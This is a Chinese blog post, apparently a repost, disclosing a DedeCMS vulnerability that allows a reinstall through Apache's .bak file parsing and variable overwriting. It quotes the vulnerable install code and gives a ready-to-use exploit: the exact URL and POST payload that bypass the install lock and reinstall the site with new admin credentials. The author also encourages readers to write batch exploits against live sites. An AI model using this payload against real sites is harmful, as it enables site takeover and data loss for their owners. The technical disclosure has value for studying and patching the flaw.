Dedecms通杀重装漏洞 利用apache解析+变量覆盖

Dedecms通杀重装漏洞 利用apache解析+变量覆盖

作者:honker90   发布:2013-06-06 16:20   分类: 漏洞公布   被撸:4,047次    6条评论  

利用条件是webserver要求是存在apache解析漏洞和install文件夹存在。
利用截图:

20130606070705_46554

Dedecms在安装后会把安装文件/install/index.php备份成/install/index.php.bak,这个在apache下面是会解析成PHP执行的。
看看/install/index.php.bak代码:

1$verMsg ' V5.7 GBKSP1';
2$s_lang 'gb2312';
3$dfDbname 'dedecmsv57gbksp1';
4$errmsg '';
5$install_demo_name 'dedev57demo.txt';
6$insLockfile = dirname(__FILE__).'/install_lock.txt';
7$moduleCacheFile = dirname(__FILE__).'/modules.tmp.inc';
8 
9define('DEDEINC',dirname(__FILE__).'/../include');
10define('DEDEDATA',dirname(__FILE__).'/../data');
11define('DEDEROOT',preg_replace("#[\\\\\/]install#"'', dirname(__FILE__)));
12header("Content-Type: text/html; charset={$s_lang}");
13 
14require_once(DEDEROOT.'/install/install.inc.php');
15require_once(DEDEINC.'/zip.class.php');
16 
17foreach(Array('_GET','_POST','_COOKIE'as $_request)
18{
19    foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
20}
21 
22require_once(DEDEINC.'/common.func.php');
23 
24if(file_exists($insLockfile))
25{
26    exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!");
27}
28 
29if(empty($step))
30{
31    $step = 1;
32}

其中$insLockfile = dirname(__FILE__).’/install_lock.txt’;是安装锁文件。在下面的

1if(file_exists($insLockfile))
2{
3    exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!");
4}

这个代码的意思是:如果$insLockfile这个文件存在,那么就提示已经安装了,如果$insLockfile不存在,那么就可以继续安装,那么我们要控制$insLockfile才能重新安装,
关键的问题在这两段代码中间还有一段dedecms一直很二逼的变量覆盖的代码。

1foreach(Array('_GET','_POST','_COOKIE'as $_request)
2{
3    foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
4}

这个是注册变量,如果存在变量就直接覆盖了。
所以我们直接在请求里加上insLockfile=seay就可以把$insLockfile变为seay,当然文件不存在的啦。就重装了。
利用演示:
直接POST数据到这个URL

http://www.localhost.com/install/index.php.bak?insLockfile=1&step=4

就OK了

20130606070937_40308

POST数据:

1step=4&dbhost=localhost&dbuser=root&dbpwd=123456&dbprefix=dede_&dbname=dedecms1&dblang=gbk&adminuser=admin&adminpwd=admin&cookieencode=JzIVw7439H&webname=%CE%D2%B5%C4%CD%F8%D5%BE&adminmail=admin%40dedecms.com&baseurl=http%3A%2F%2Flocalhost&cmspath=%2Fdedecms

其中的dbhost啥的东西自己改改吧,
提交数据包。效果如下

20130606071032_57112

重装了。。。。我是良民
批量EXP就不写了,要玩的自己搞吧,exp google搜索批量,估计dedecms的站要废一大半。
原文:http://www.cnseay.com/2956/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

北方的刀郎

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值